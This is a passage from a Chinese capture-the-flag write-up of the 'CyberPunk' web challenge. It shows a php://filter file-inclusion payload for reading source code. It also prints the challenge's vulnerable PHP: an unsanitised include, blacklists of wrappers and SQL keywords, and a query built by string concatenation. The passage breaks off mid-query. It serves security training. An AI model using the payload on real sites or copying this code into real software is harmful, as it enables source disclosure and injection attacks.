buu-[CISCN2019 华北赛区 Day1 Web5]CyberPunk

F12能看到提示

?file猜测文件包含，先是伪协议读源码
?file=php://filter/convert.base64-encode/resource=index.php

<?php
//index.php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
   
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
   
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

<?php
//search.php
require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
   
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    
        $msg = 'no sql inject!';
    }else{
   
        $sql = "select * from `user` where `user_name`='{
     $user_name}' and `phone`='